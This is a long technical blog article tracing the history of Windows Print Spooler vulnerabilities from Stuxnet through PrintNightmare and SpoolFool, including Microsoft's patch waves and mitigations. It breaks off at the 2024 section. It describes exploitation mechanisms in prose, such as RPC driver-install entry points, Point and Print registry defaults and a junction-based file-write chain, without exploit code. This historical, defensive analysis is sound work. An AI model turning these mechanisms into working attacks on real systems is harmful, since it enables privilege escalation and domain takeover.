Parag Mali - tag: printnightmare

Three Years of PrintNightmare: How the Oldest Windows Service Survived Four Patch Waves

noreply@paragmali.com (Parag Mali) — Tue, 02 Jun 2026 00:00:00 GMT

Between June 2021 and August 2024, Microsoft patched the Windows Print Spooler four times for what the press collectively called PrintNightmare. The patches did not converge. Each wave revealed the last one as a behavior restriction rather than an architectural change. By October 2024 Microsoft had shipped two parallel architectural answers: Windows Protected Print Mode (WPP), an opt-in driverless local stack with a lower-privilege Spooler Worker process; and Universal Print, a cloud-hosted replacement. Two answers, because the local SYSTEM-context driver-loading primitive the spooler was built around in the early 1990s cannot be sandboxed without breaking the printer install base that depends on it. This article traces nine related Spooler EoP and RCE primitives from 2010 to 2024, the architectural concession that ended the patch cycle, and why no single 2026 configuration is the full answer.

1. June 29, 2021: The Repository That Should Not Have Existed

On June 29, 2021, three researchers from Sangfor Technology -- Zhiniang Peng, Xuefeng Li, and Lewis Lee -- pushed a GitHub repository named afwu/PrintNightmare containing a working proof-of-concept exploit against the Windows Print Spooler service. The repository had been prepared for their upcoming Black Hat USA 2021 briefing, "Diving Into Spooler: Discovering LPE and RCE Vulnerabilities in Windows Printer" [@infocondb-bh2021-sangfor]. The team believed Microsoft's June 8 Patch Tuesday update had fixed the vulnerability they were about to demonstrate.

Within hours the repository was deleted. By then it had already been mirrored on multiple GitHub accounts and was spreading [@hackernews-printnightmare-poc-leak]. By the end of the day, the internet had a new name for the bug class: PrintNightmare. And by the end of the week, Microsoft, CERT/CC, and CISA had each independently confirmed what the Sangfor team realized about an hour after the deletion: the June 8 patch did not actually fix the vulnerability they had reported, and now the world had a working exploit for it [@cert-vu-383432] [@bleepingcomputer-domain-takeover].

The Wayback Machine preserves the original README. Below the technical description, the Sangfor team explained why they had thought it was safe to publish: Microsoft's June 8 advisory had marked CVE-2021-1675 as a local "Privilege Escalation" with a CVSS v3.1 base score of 7.8 [@nvd-cve-2021-1675]. The bug Sangfor had separately reported and analyzed was, they believed, a different bug -- a remote code execution against the same service. They were correct. Nobody knew it yet.Microsoft silently reclassified CVE-2021-1675 from "Elevation of Privilege" to "Remote Code Execution" on June 21, 2021, after community analysis demonstrated the remote primitive. The reclassification appears in the NVD entry's revision history [@nvd-cve-2021-1675] and was reported the same week by BleepingComputer [@bleepingcomputer-domain-takeover]. The Sangfor team's confusion was reasonable: the advisory they were reading on June 28 still said EoP.

The README's most striking line is an apology. "CVE-2021-1675 is a remote code execution in Windows Print Spooler," it begins. Then, two paragraphs in: "We also found this bug before and hope to keep it secret to participate Tianfu Cup" [@afwu-wayback-snapshot]. The Sangfor team had discovered the same primitive months earlier, planned to use it for the Tianfu Cup capture-the-flag prize money, and reasoned that Microsoft's June 8 patch had now closed it.The Tianfu Cup is a Chinese-government-organized exploit competition. Chinese researchers are restricted from foreign competitions like Pwn2Own by a 2018 directive and instead route their work through Tianfu. Holding a bug secret to maximize Tianfu prize money is a known practice; what is unusual here is the public admission of the practice in an apology README.

The rest of this article is about two questions. First: why does a single Windows service produce, on the public record, nine independently classed SYSTEM-code-execution primitives across fifteen years? Second: why does the answer Microsoft eventually shipped in 2024 take the form of two parallel architectures rather than one patch? We will not tell you which configuration to deploy. We will tell you why neither one alone is the full answer, and why that is the only honest place to land.

To understand why one Windows service can leak a SYSTEM-execution primitive to anyone who can reach an RPC named pipe on a domain controller, we have to understand what the service is for.

2. The Artifact: What `spoolsv.exe` Is and Why It Was Built This Way

The Windows Print Spooler service has been part of Windows continuously since the Windows NT era of the early 1990s.The "Windows NT 3.1, July 1993" attribution often cited for the first Print Spooler service is folk knowledge. Microsoft's own Learn documentation anchors the spooler architecture to "Microsoft Windows 2000 and later" [@ms-print-spooler-architecture], and the Windows Internals team writes that the spooler is "largely unchanged since Windows NT 4" [@windows-internals-printdemon]. The early-1990s framing is the safe one. Same name today (spoolsv.exe), same security context (LocalSystem), same RPC interface family, same in-process third-party DLLs (Print Providers, Print Processors, driver components). The interesting question is not why the spooler still has bugs. It is why a service designed before AppContainer, before Mandatory Integrity Control, before AMSI, before Driver Signature Enforcement -- before the entire modern Windows security architecture existed -- still occupies the same SYSTEM-context process slot it did in 1996.

2.1 Anatomy

spoolsv.exe is, in Microsoft's own words, "the spooler's API server" [@ms-intro-spooler-components]. The Service Control Manager starts it at boot under the LocalSystem account. Inside the process, the router DLL spoolss.dll dispatches incoming API calls to one of three Print Provider DLLs [@ms-print-spooler-architecture].

The Windows service that mediates between print clients and printer drivers. It runs continuously as LocalSystem, exposes an RPC interface over the `\PIPE\spoolss` named pipe, and loads third-party Print Provider, Print Processor, and printer driver DLLs into its address space [@ms-intro-spooler-components]. Almost every named Print Spooler vulnerability since 2010 has cashed out as SYSTEM-context code execution inside this process.

The three Print Providers handle three kinds of printer connections. The Local Print Provider localspl.dll handles printers attached or shared on the local machine. The Remote Print Provider win32spl.dll handles printers reached via Windows networking. The HTTP / IPP Print Provider inetpp.dll handles printers exposed over the Internet Printing Protocol [@ms-print-spooler-architecture] [@ms-intro-spooler-components].

The three router-loaded DLLs that dispatch print operations to the appropriate transport. `localspl.dll` (Local Print Provider) handles local and SMB-shared printers; `win32spl.dll` (Remote Print Provider) handles Windows-network remote printers; `inetpp.dll` (HTTP / IPP Print Provider) handles IPP printers reached over HTTP [@ms-print-spooler-architecture]. The chain is often confused with the Print Processor layer (a different layer entirely; see below).

Once a print job is accepted, a separate component decides how to render it. That component is the Print Processor. The default Print Processor is winprint.dll. It is a sibling layer to the Print Providers, not a member of the chain.

The component that interprets the spool file format (EMF, XPS, RAW, TEXT) and renders pages for a specific printer. `winprint.dll` is the default Print Processor that ships with Windows. Vendor-supplied Print Processors can be installed alongside it. A common pre-research misclassification names `winprint.dll` as a Print Provider; it is not. The Print Providers handle which printer; the Print Processor handles how to render the page [@ms-print-spooler-architecture].

Clients of spoolsv.exe are winspool.drv locally and win32spl.dll remotely [@ms-intro-spooler-components]. A user-mode application that calls a Win32 print API (OpenPrinter, EnumPrinters, AddPrinter, AddPrinterDriverEx) is, under the covers, sending an RPC request to spoolsv.exe through one of these client libraries.

flowchart TD SCM["Service Control Manager"] --> SPOOLSV["spoolsv.exe
LocalSystem"] SPOOLSV --> ROUTER["spoolss.dll
(router)"] ROUTER --> LOCALSPL["localspl.dll
Local Print Provider"] ROUTER --> WIN32SPL["win32spl.dll
Remote Print Provider"] ROUTER --> INETPP["inetpp.dll
HTTP / IPP Print Provider"] ROUTER --> WINPRINT["winprint.dll
Print Processor"] PIPE["\PIPE\spoolss
(named pipe / ncacn_np)"] --> SPOOLSV WINSPOOL["winspool.drv
local clients"] --> PIPE REMOTE["win32spl.dll
remote clients"] --> PIPE SPOOLSV -. opt-in INF .-> PIH["PrintIsolationHost.exe
(sibling, LocalSystem)"] PIH --> VDRIVER["vendor driver DLLs"]

2.2 The RPC Surface

The Print Spooler exposes two RPC interface families. MS-RPRN is the synchronous Print System Remote Protocol. MS-PAR is its asynchronous counterpart. Both bind to the same named pipe.

Microsoft's two open-specification RPC protocols for remote print management. MS-RPRN is synchronous; MS-PAR is asynchronous. The MS-RPRN specification states that "The RPC Protocol Sequence MUST be `ncacn_np`. The RPC Protocol Sequence Endpoint MUST be `\PIPE\spoolss`" [@ms-rprn-spec]. Both interfaces expose driver-installation entry points: `RpcAddPrinterDriverEx` in MS-RPRN [@ms-rprn-rpcaddprinterdriverex] and `RpcAsyncAddPrinterDriver` in MS-PAR [@ms-par-rpcasyncaddprinterdriver]. MS-PAR's documentation states verbatim that the latter is "The counterpart of this method in the Print System Remote Protocol."

Two symmetric entry points are the architectural seed of the entire PrintNightmare patch tree. RpcAddPrinterDriverEx (MS-RPRN section 3.1.4.4.8, Opnum 89) "installs a printer driver on the print server" [@ms-rprn-rpcaddprinterdriverex]. RpcAsyncAddPrinterDriver (MS-PAR section 3.1.4.1, Opnum 39) does the same thing through the asynchronous interface [@ms-par-rpcasyncaddprinterdriver]. When the June 8, 2021 patch tightened access checks on the first entry point, the second one remained as the obvious next bypass target. We will come back to this.

The authentication boundary is the part most worth dwelling on, because the answer is structurally surprising. MS-RPRN does no authentication at the protocol layer. The MS-RPRN Transport section states this verbatim: "The client MUST use no authentication, and the server MUST accept connections without authentication" [@ms-rprn-transport]. The initialization section adds that the binding handle "MUST specify an ImpersonationLevel of 2 (Impersonation)" against the SMB2 transport [@ms-rprn-initialization]. The RPC layer trusts whatever caller identity SMB hands it.

This means the practical authentication boundary on \PIPE\spoolss is the SMB named-pipe access control surface, not the RPC server. Two security policy settings govern that surface. The first, Network access: Restrict anonymous access to Named Pipes and Shares (the RestrictNullSessAccess registry value under HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters), has shipped at value 1 -- enforced -- by default since Windows Vista; its effective default is "Enabled" on stand-alone servers, domain controllers, member servers, and client computers [@ms-restrict-anonymous-named-pipes]. The second, Network access: Named Pipes that can be accessed anonymously (the NullSessionPipes list), enumerates the small set of pipes that an unauthenticated caller is allowed to touch even when the first policy is enforced. spoolss is not on the default NullSessionPipes list [@ms-named-pipes-anonymous].The combination of these two settings is what makes a default modern Windows host immune to anonymous-SMB reachability of \PIPE\spoolss. The MS-RPRN spec's "MUST use no authentication" sentence [@ms-rprn-transport] reads like a security failure in isolation; combined with RestrictNullSessAccess=1 and the absence of spoolss from NullSessionPipes [@ms-restrict-anonymous-named-pipes] [@ms-named-pipes-anonymous], it becomes a deliberate division of labour: RPC does not authenticate; SMB does. The architectural cost is that the boundary is administered through two settings on a different policy surface than the spooler itself.

On a default Windows 11 24H2 host with the Print Spooler running, then: an unauthenticated remote attacker on the network cannot reach \PIPE\spoolss. A domain user authenticated to the same Active Directory forest can. That is the practical reachability boundary that CERT/CC and CISA had in mind when they called PrintNightmare a "domain takeover" primitive [@bleepingcomputer-domain-takeover] [@cisa-ed-21-04]: any domain user reaches the spooler on a domain controller; the spooler executes attacker-supplied code as LocalSystem; that LocalSystem code now runs on a host that owns the domain. The "domain user can reach it" half is true because SMB authenticates the user and the RPC layer accepts whatever SMB says; the "executes attacker-supplied code as LocalSystem" half is the architectural primitive section 2.3 will name.

2.3 The Back-Compat Constraint

Why has the architecture not been replaced? Because essentially every Windows-compatible printer manufactured since 1993 ships a third-party driver DLL that expects to be loaded into spoolsv.exe as LocalSystem.

The v3 driver model -- introduced with Windows 2000 -- loads driver render code into the spooler process by default [@ms-print-spooler-architecture]. The v4 driver model, introduced with Windows 8, was a simpler XPS-based alternative meant to package drivers in a way that worked across multiple Windows form factors [@ms-print-spooler-architecture]. It did not replace v3. The two coexisted for more than a decade. The IPP class driver [@ms-modern-print-platform], which lets Windows print to any Mopria-certified printer without any vendor-specific driver at all, was not even an option for the first twenty years of the spooler's life [@mopria-certified-products].

What this means in practice: the installed base of printers in 2021 was overwhelmingly v3 drivers, signed by vendors, packaged for LocalSystem load. A naive "sandbox the spooler" change that broke that loading model would break printing for every one of those printers. Microsoft has spent twenty years trying not to make printing not work. That constraint is the protagonist of the rest of the article.

2.4 Point and Print and Why It Is Its Own Constraint

Point and Print is the SMB-fetch-and-install-driver-on-print behavior introduced with Windows NT 4.0. When a client first prints to a shared printer, the spooler downloads the driver package from the print server and installs it locally. The user does not have to be an administrator.

A Windows print-client behavior in which a non-administrator user, on first use of a shared printer, causes their machine's spooler to download and install the printer's driver package from the print server. Two Group Policy registry values govern whether the user is warned and whether elevation is suppressed: `NoWarningNoElevationOnInstall` (suppress install-time elevation) and `NoWarningNoElevationOnUpdate` (suppress update-time elevation) [@kb-5005010-topic] [@kb-5005652-topic]. The Microsoft-supplied "fix" to this design surface is a third registry value, `RestrictDriverInstallationToAdministrators`, which overrides both.

Bake "any authenticated user can cause a driver DLL to be downloaded and registered" into a protocol and you have, by construction, a low-privilege code-installation path. The two relevant Group Policy levers (NoWarningNoElevationOnInstall and NoWarningNoElevationOnUpdate) and the registry override (RestrictDriverInstallationToAdministrators) all existed before PrintNightmare. All three defaulted to the permissive position. The June 2021 disclosure made the permissive defaults visible.

Key idea: Three of the four Print Spooler design choices -- LocalSystem context, third-party DLL loading, and a low-privilege RPC entry point -- form the architectural primitive. The rest of this article is the story of what happens when the security community discovers, again and again, that any single primitive of that shape produces a SYSTEM-execution bug by construction.

3. Pre-history: Stuxnet, PrintDemon, and the Bug Class That Already Had a Decade Behind It

PrintNightmare is the name the press gave to a 2021 disclosure event. The bug class behind that event is older. The first weaponized Print Spooler privilege-escalation primitive in the public record is from 2010, and it is famous. It was one of the four zero-days Stuxnet chained to reach centrifuge controllers in Natanz.

3.1 CVE-2010-2729 (Stuxnet, MS10-061)

In September 2010, Microsoft shipped MS10-061 to patch a Print Spooler Service Impersonation Vulnerability that "could allow remote code execution if an attacker sends a specially crafted print request to a vulnerable system that has a print spooler interface exposed over RPC" [@ms-bulletin-ms10-061]. The NVD entry classifies it as a CWE-20 Improper Input Validation in the Print Spooler service that, "when printer sharing is enabled, does not properly validate spooler access permissions" [@nvd-cve-2010-2729]. NVD records publication on September 15, 2010 [@nvd-cve-2010-2729].

The Symantec dossier on Stuxnet [@symantec-stuxnet-dossier-broadcom] is the canonical technical history of the Iran-Natanz campaign and is out of scope here. What matters for the Print Spooler story is the architectural pattern Stuxnet's operators noticed. A low-privilege caller could reach a SYSTEM-context RPC service, get the service to do something on the caller's behalf (write a file, load a DLL, validate a credential), and turn that operation into SYSTEM-context code execution. That pattern is the same one every later PrintNightmare-family bug exploits. The 2010 case is not the first instance of the pattern in Windows. It is the first instance of the pattern in the Windows Print Spooler in the public record.

3.2 CVE-2020-1048 (PrintDemon, May 2020)

Ten years later, in May 2020, two independent research teams published essentially the same Print Spooler bug. Peleg Hadar and Tomer Bar at SafeBreach Labs presented their work at DEF CON Safe Mode 2020 [@defcon-28-hadar-bar-pdf]. Yarden Shafir and Alex Ionescu at Windows Internals wrote it up under the name PrintDemon [@windows-internals-printdemon].The co-discovery pattern is the norm for high-value Windows-internals research. Two well-resourced teams looked at the same architectural primitive and arrived at the same vulnerability within weeks of each other. The May 2020 Microsoft Security Response Center acknowledgments credit both groups. The vulnerability was assigned CVE-2020-1048.

The mechanism: spoolsv.exe accepts a Win32 print API call to set a printer port. The port string can be a file path. The spooler, running as LocalSystem, then writes spool data to that file path. A low-privilege user can therefore cause SYSTEM-context arbitrary writes to anywhere on the filesystem. NVD classifies the bug as CWE-669 Incorrect Resource Transfer Between Spheres [@nvd-cve-2020-1048].

The Shafir-Ionescu writeup is the source of the line that most concisely captures the spooler's long arc:

The Print Spooler continues to be one of the oldest Windows components that still has not gotten much scrutiny, even though it is largely unchanged since Windows NT 4, and was even famously abused by Stuxnet. -- Yarden Shafir and Alex Ionescu, May 2020 [@windows-internals-printdemon]

3.3 CVE-2020-1337 (PrintDemon Redux, August 2020)

Microsoft patched CVE-2020-1048 on May 12, 2020. Three months later, on August 11, 2020 Patch Tuesday, Microsoft patched CVE-2020-1337. Paolo Stagno (VoidSec) had demonstrated that the May patch was bypassable through an NTFS junction race [@voidsec-cve-2020-1337]. NVD classes the bypass as a CWE-367 TOCTOU [@nvd-cve-2020-1337].

The mechanism is the canonical pattern for path-validation patches. Microsoft's May fix resolved the printer port file path, validated it as benign, then re-resolved it during the actual spool write. Between check and use, a non-administrator could substitute a reparse point that redirected the write to a SYSTEM-writable target. The patch had moved the security check; the architectural primitive (SYSTEM-context filesystem operation on a caller-controlled path) was unchanged.

The detail to file away: the exact same primitive, NTFS reparse points racing a spooler-side resolve-validate-use sequence, would resurface eighteen months later in SpoolFool. Same primitive, different entry point.

3.4 The Pattern Nobody Had Yet Named

Three independent research efforts (the Microsoft analysis post-Stuxnet, the SafeBreach and Windows Internals work in 2020, the Sangfor work that would surface in 2021) each rediscovered variants of the same architectural primitive. The frustration the §1 hook left implicit is now nameable. The security community had documented this primitive twice before PrintNightmare became a news event.

Will Dormann's CERT/CC advisory VU#383432 (issued June 30, 2021) was not, strictly speaking, about the bug. It was about the disclosure-norms failure that turned an internal bug into an internet-mirrored zero-day inside twenty-four hours. Dormann wrote in plain language:

CVE-2021-34527 is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in `RpcAddPrinterDriverEx()`. The attack vector is different as well. -- Will Dormann, CERT/CC VU#383432, June 30, 2021 [@cert-vu-383432]

The sentence is unusual for a CERT advisory because it concedes mid-disclosure that the June 8 patch had named one CVE and the public exploits were targeting another. CERT/CC's explicit "does NOT protect" framing -- which we quote verbatim in section 4.1 at the point in the patch-cascade narrative where it lands hardest -- followed in the same advisory and made the gap unmistakable.

PrintNightmare is not the name of a CVE. It is the name a panic gave, in the last week of June 2021, to a class of Print Spooler EoP and RCE primitives that had already been exploited in production eleven years earlier and rediscovered by independent researchers fourteen months earlier. The 2021 event made the class famous. It did not invent the class.

The next section is what happened when Microsoft and the security community spent three years trying to patch the class out of existence one entry point at a time.

4. The Patch Cascade: Four Generations of PrintNightmare

Between June 8, 2021, and August 13, 2024, Microsoft shipped four named patch waves targeting the PrintNightmare bug class. None of the first three converged. The fourth was issued for an unrelated-looking CVE (CVE-2024-38198) that turned out to be exploitable against a primitive the September 2021 wave had already documented as residual.

The Mermaid gantt below sets the spine of the timeline. It runs from Stuxnet through the announced third-party-driver end-of-servicing milestones in 2027. Every later subsection of this article maps to a bar in this chart.

gantt title Print Spooler hardening timeline 2010-2027 dateFormat YYYY-MM-DD axisFormat %Y section Bugs CVE-2010-2729 Stuxnet :crit, 2010-09-15, 60d CVE-2020-1048 PrintDemon :crit, 2020-05-12, 60d CVE-2020-1337 PrintDemon redux :crit, 2020-08-11, 60d CVE-2021-1675 :crit, 2021-06-08, 30d CVE-2021-34527 PrintNightmare :crit, 2021-07-01, 30d CVE-2021-34481 :crit, 2021-07-15, 30d CVE-2021-36958 :crit, 2021-09-14, 30d CVE-2022-21999 SpoolFool :crit, 2022-02-08, 30d CVE-2024-38198 :crit, 2024-08-13, 30d section Patches MS10-061 :active, 2010-09-14, 30d KB5004945 emergency :active, 2021-07-06, 30d KB5005010 default flip :active, 2021-08-10, 30d KB5005652 policy rewrite :active, 2021-09-14, 30d SpoolFool fix :active, 2022-02-08, 30d Redirection Guard :active, 2023-12-01, 60d section Architecture WPP announced :done, 2023-12-13, 30d WPP ships opt-in 24H2 :done, 2024-10-01, 30d No new 3p drivers WU :2026-01-15, 30d IPP class preferred :2026-07-01, 30d 3p driver servicing ends :2027-07-01, 30d

4.1 Generation 1: The June 8 Patch and the Sangfor Disclosure Failure

On June 8, 2021 Patch Tuesday, Microsoft fixed CVE-2021-1675, a Windows Print Spooler Elevation of Privilege Vulnerability rated CVSS v3.1 7.8 local EoP [@nvd-cve-2021-1675]. The fix added an authorization check to RpcAddPrinterDriverEx (MS-RPRN section 3.1.4.4.8) so that a low-privilege user could no longer install an arbitrary printer driver into the spooler process via that synchronous entry point [@ms-rprn-rpcaddprinterdriverex]. Microsoft credited Zhipeng Huo (Tencent Security Xuanwu Lab), Piotr Madej (AFINE), and Yunhai Zhang (NSFOCUS Security Team), as recorded in the Wayback snapshot of the Sangfor README [@afwu-wayback-snapshot]. Three reporters. No Victor Mata. Mata enters this story later, in section 4.3.

On June 21, 2021, Microsoft silently reclassified CVE-2021-1675 from EoP to RCE [@nvd-cve-2021-1675]. BleepingComputer's June 30 article documents the reclassification and the subsequent confusion it caused [@bleepingcomputer-domain-takeover]. The Sangfor team had been working from the June 8 advisory's EoP framing; by the time they noticed the reclassification, their PoC was already mirrored across the internet.

The chaos compressed into seventy-two hours. June 29: Sangfor pushes afwu/PrintNightmare, then deletes the repository on realizing the RCE was unpatched. June 30: public mirrors propagate across multiple GitHub accounts; CERT/CC publishes VU#383432 [@cert-vu-383432]; Sergiu Gatlan files the BleepingComputer "domain takeover" story [@bleepingcomputer-domain-takeover]. July 1: Microsoft assigns CVE-2021-34527 as a separate-bulletin entity covering the unpatched RCE primitive [@nvd-cve-2021-34527] [@msrc-cve-2021-34527]. CERT/CC documents the CVE pair as "similar but distinct" with the qualifier that "the attack vector is different as well" [@cert-vu-383432]. They are not the same bug; the new CVE is not simply the "remote" version of the old one.

This update does NOT protect against public exploits that may refer to PrintNightmare or CVE-2021-1675. -- Will Dormann, CERT/CC VU#383432 [@cert-vu-383432]

CERT/CC's only available mitigation, in the window between July 1 and the emergency patch, was to stop and disable the Spooler service entirely [@cert-vu-383432]. The runnable block below models the PowerShell logic in JavaScript (the blog runtime supports JS, not PowerShell). The semantics are the same: turn the service off, verify it stays off across reboot.

{// Original PowerShell from CERT/CC VU#383432: // Stop-Service -Name Spooler -Force // Set-Service -Name Spooler -StartupType Disabled // Get-Service -Name Spooler // // The probe below models the resulting state machine so you can // see what "safe" looks like for a domain controller under CISA // Emergency Directive 21-04. const spoolerState = { status: 'Stopped', startupType: 'Disabled' }; const isCertSafe = spoolerState.status === 'Stopped' && spoolerState.startupType === 'Disabled'; console.log(isCertSafe ? 'OK: spooler stopped and disabled (CERT/CC mitigation in force)' : 'WARN: spooler running or set to auto-start (vulnerable surface present)');}

On July 6 and July 7, 2021, Microsoft shipped KB5004945 out-of-band. The NVD entry for CVE-2021-34527 records both shipping dates verbatim: "UPDATE July 7, 2021: The security update for Windows Server 2012, Windows Server 2016 and Windows 10, Version 1607 have been released" [@nvd-cve-2021-34527]. KB5004945's summary line is unambiguous: "Updates a remote code execution exploit in the Windows Print Spooler service, known as PrintNightmare, as documented in CVE-2021-34527" [@kb-5004945-help].KB5004945's SKU fan-out was unusually wide. Microsoft shipped the patch for Windows 10 across multiple feature updates, for Windows 11 (just-released at the time), for Windows Server 2016/2019/2022, and for ESU-only SKUs back through Windows 7 SP1 and Windows Server 2008 R2 [@kb-5004945-help]. The fan-out signals how broadly the vulnerable surface had spread across the supported install base, which is most of the reason the press could describe the bug as fleet-wide.

The patch had two parts. The first closed the immediate RCE. The second added a new Group Policy registry value: RestrictDriverInstallationToAdministrators. KB5004945 shipped this value as OFF by default. KB5005010 (released August 10, 2021) records the timeline of the default flip verbatim: "Updates released July 6, 2021 or later have a default of 0 (disabled) until updates released August 10, 2021. Updates released August 10, 2021 or later have a default of 1 (enabled)" [@kb-5005010-topic].

The patch had a switch. The switch was off by default. The press named the bug PrintNightmare. By the end of the first week, the patch had not, in practice, been applied to most of the installed base.

4.2 Generation 2: `@cube0x0`, MS-PAR, and the Asynchronous-Variant Patch Bypass

After KB5004945 closed the synchronous RpcAddPrinterDriverEx entry point on MS-RPRN, a researcher under the handle @cube0x0 updated his repository to target the symmetric asynchronous entry point in MS-PAR. Different protocol family. Same primitive. No patch.

RpcAsyncAddPrinterDriver (MS-PAR section 3.1.4.1, Opnum 39) is, in Microsoft's own words, "The counterpart of this method in the Print System Remote Protocol" [@ms-par-rpcasyncaddprinterdriver]. CERT/CC's updated VU#383432 names the bypass explicitly:

While original exploit code relied on the `RpcAddPrinterDriverEx` to achieve code execution, an updated version of the exploit uses `RpcAsyncAddPrinterDriver` to achieve the same goal. -- Will Dormann, CERT/CC VU#383432 update [@cert-vu-383432]

The @cube0x0 GitHub repository carries the artifact of the rename-mid-disclosure chaos in its very name. The repository is called cube0x0/CVE-2021-1675. The vulnerability it actually exploits is CVE-2021-34527. The README's first paragraph clarifies: "Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) and Xuefeng Li (@lxf02942370). Tested on a fully patched 2019 Domain Controller" [@cube0x0-cve-2021-1675].The repository-name-versus-CVE mismatch is a small artifact of the disclosure chaos, but it caused real downstream confusion. Detection rule authors had to handle both names. SigmaHQ's Zeek-on-the-wire rule for the wire-level driver-install primitive lists both RpcAddPrinterDriverEx and RpcAsyncAddPrinterDriver precisely because the entry point split between the two CVEs [@sigma-cve-2021-1675-zeek].

The July 6 emergency patch (KB5004945) added the access check to MS-PAR's RpcAsyncAddPrinterDriver in addition to MS-RPRN's RpcAddPrinterDriverEx. Microsoft's NVD entry for CVE-2021-34527 records the residual configuration risk verbatim:

Note: "Having NoWarningNoElevationOnInstall set to 1 makes your system vulnerable by design." -- Microsoft, NVD entry for CVE-2021-34527 [@nvd-cve-2021-34527]

CISA's response was Emergency Directive 21-04, issued July 13, 2021. The directive mandated that federal civilian agencies disable the Print Spooler service on all Microsoft Active Directory domain controllers by 11:59 PM EDT on Wednesday, July 14, 2021 [@cisa-ed-21-04]. The framing in CISA's own words was direct: "exploitation of the vulnerability allows an attacker to remotely execute code with system level privileges enabling a threat actor to quickly compromise the entire identity infrastructure of a targeted organization" [@cisa-ed-21-04].

ED 21-04 is narrower than the press summaries suggest. It applies only to Active Directory domain controllers. It does not require disabling Spooler on every Windows endpoint in a federal agency, only on the hosts where the bug's domain-takeover impact is largest. CISA closed ED 21-04 in January 2026 and folded its required actions into BOD 22-01 (the Known Exploited Vulnerabilities catalogue), but the operational guidance survived intact: disable Spooler on DCs, patch elsewhere. The DC-disabled baseline is still the federal civilian default for agencies that have not migrated to Universal Print [@cisa-ed-21-04]. We come back to this in section 10.4.

The June 8 patch covered one RPC entry point. The July 6 patch covered the other. Neither patch changed the architectural primitive. Within five weeks, a third primitive (not an RPC entry point but a registry default) was already failing.

4.3 Generation 3: CVE-2021-34481, KB5005010, KB5005652, and the September Policy Rewrite

On August 10, 2021, Microsoft shipped the cumulative update that flipped the RestrictDriverInstallationToAdministrators default from 0 to 1. On September 14, 2021, it shipped the knowledge-base article that documented why the previous defaults could not be saved.

CVE-2021-34481 had already been published as a Print Spooler local EoP on July 15, 2021, classified by NVD as CWE-269 Improper Privilege Management [@nvd-cve-2021-34481]. The August 10 KB5005010 / KB5005033 cumulative updates closed it and flipped the default value for the HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\RestrictDriverInstallationToAdministrators registry value from 0 to 1 [@kb-5005010-topic]. NVD's entry for CVE-2021-34481 carries the cross-reference verbatim: "UPDATE August 10, 2021: Microsoft has completed the investigation and has released security updates to address this vulnerability... This security update changes the Point and Print default behavior; please see KB5005652" [@nvd-cve-2021-34481].

The five-week opt-in window between July 6 and August 10, 2021, is the most interesting failure in the entire patch cascade. Hosts that received KB5004945 but had no Group Policy push for the new value were still exploitable through Point and Print elevation suppression even with the emergency patch applied. The lesson is structural. Opt-in safe defaults do not protect a real installed base.

On September 14, 2021, KB5005652 shipped. The article's title spells out its scope: "Manage new Point and Print default driver installation behavior (CVE-2021-34481)" [@kb-5005652-topic]. The article's most-quoted sentence is the most consequential one Microsoft has shipped about Print Spooler:

Note: KB5005652 says, in a customer-facing knowledge-base article, that there is no settings-tweak combination that gives you the same protection as flipping the new admin-only switch. That is Microsoft, in its own voice, naming the configuration surface as insufficient.

There is no combination of mitigations that is equivalent to setting `RestrictDriverInstallationToAdministrators` to 1. -- Microsoft, KB5005652, September 14, 2021 [@kb-5005652-topic] [@kb-5005652-help]

Read that sentence twice. Microsoft, in its own knowledge-base voice, said that no combination of the previously available configuration knobs added up to the protection the new admin-only restriction provided. The implication is that for the entire period from Windows NT 4 through August 10, 2021 (roughly twenty-three years), the configuration surface for Point and Print did not contain a setting that made the bug class go away. Tightening individual knobs got you somewhere short of the architectural answer. That is the verbatim concession the September article makes.

The same Patch Tuesday (September 14, 2021), Microsoft also patched CVE-2021-36958, another Print Spooler RCE in the same family [@nvd-cve-2021-36958].The reporter attribution for CVE-2021-36958 remains disputed in the public record. Public consensus credits Victor Mata (Accenture Security FusionX) for the formal MSRC acknowledgment. Benjamin Delpy demonstrated public bypasses of the existing PrintNightmare mitigations through August 2021 that are most often cited as the immediate motivation for the September fix. We have not located a Microsoft-primary source that resolves the question, and we cite both names rather than collapse them.

Three patch waves into PrintNightmare, Microsoft had written down, in a customer-facing knowledge-base article, that no configuration-surface response was equivalent to the architectural fix. The architectural fix did not yet exist. SpoolFool was four months away.

4.4 Generation 4: CVE-2022-21999 (SpoolFool, February 8, 2022)

On February 8, 2022, Oliver Lyak (handle @ly4k_, trailing underscore) of SafeBreach Labs published SpoolFool. The exploit is a Print Spooler local privilege escalation that abuses the SpoolDirectory registry value plus an NTFS junction [@ly4k-spoolfool]. The primitive was the same one Shafir and Ionescu had described eighteen months earlier in CVE-2020-1337. The patch surface had moved. The architectural primitive had not.

The mechanism, walked through carefully: each per-printer registry key under HKLM\System\CurrentControlSet\Control\Print\Printers\<printer-name> has a SpoolDirectory value. The SYSTEM-context spooler reads that value, calls CreateDirectory on the path, and then writes spool files into the resulting directory. The SpoolDirectory value is writable by an authenticated user. The exploit therefore composes three steps: (1) set SpoolDirectory to an attacker-chosen path, (2) plant an NTFS junction or symbolic link at that path pointing into a SYSTEM-writable directory, (3) trigger a printer reload to cause the SYSTEM-context spooler to create the destination directory and drop attacker-controlled files there [@ly4k-spoolfool]. NVD classifies the bug as CWE-59 Link Following [@nvd-cve-2022-21999].

Anti-regression note for readers familiar with the early coverage: SpoolFool is a Print Spooler arbitrary-file-write LPE. It is not a Win32k integrity-level bypass. Win32k is the GUI subsystem and is uninvolved in this bug class. The researcher handle is @ly4k_ (Oliver Lyak), not @jonas_lyk (a distinct security researcher).

From arbitrary file write to SYSTEM code execution is the next step. Lyak's repository demonstrates a DLL-drop into a path that a SYSTEM-context process will load on next start, then a service restart, then SYSTEM-context execution of the attacker's DLL [@ly4k-spoolfool]. The end-to-end primitive is the same shape as the post-PrintDemon exploit chain from August 2020.

The architectural moral: patching RpcAddPrinterDriverEx, patching RpcAsyncAddPrinterDriver, and flipping the Point and Print elevation default did not change the fact that the spooler runs as SYSTEM and operates on user-controlled filesystem paths. SpoolFool is the bug-fixing-bug exhibit for the section 5 architectural-concession argument. Four patches into the cycle, the same TOCTOU primitive that the August 2020 PrintDemon bypass had used was still exploitable eighteen months later, against a different callsite, against the same SYSTEM-context spooler.

4.5 Generation 5: CVE-2024-38198 (August 13, 2024 Patch Tuesday)

